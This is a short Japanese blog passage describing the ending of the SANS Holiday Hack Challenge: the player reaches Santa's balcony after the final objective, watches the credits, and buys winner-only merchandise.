Gosh, it would be great to see the SANS Holiday Hack player who helped you fix it!

Can you go find the person who did that and come back here?

Objectiveを全部解いて、SantaOfficeのバルコニーにいるEve Snowshoesに話しかけると、こんな課題が出される。

多分Santaから自分の姿に戻ってSantaOfficeに来ると良さそう。Santavatorの指紋センサのBypass(Objective10)をして戻ってくると、自分の姿のときには鍵がかかっていたベランダへの道が開いている。ベランダに出てみると、SantaとJackFrostが!

Santaに話しかけるとエンドロールが流れて、クリアー!!🎅🧝‍♂️

f:id:kusuwada:20210111065237p:plain

ちなみに、更にEveに話しかけるとWinnerだけが購入できるっぽいパーカーとTシャツ売り場に。

買っちゃったよね✌️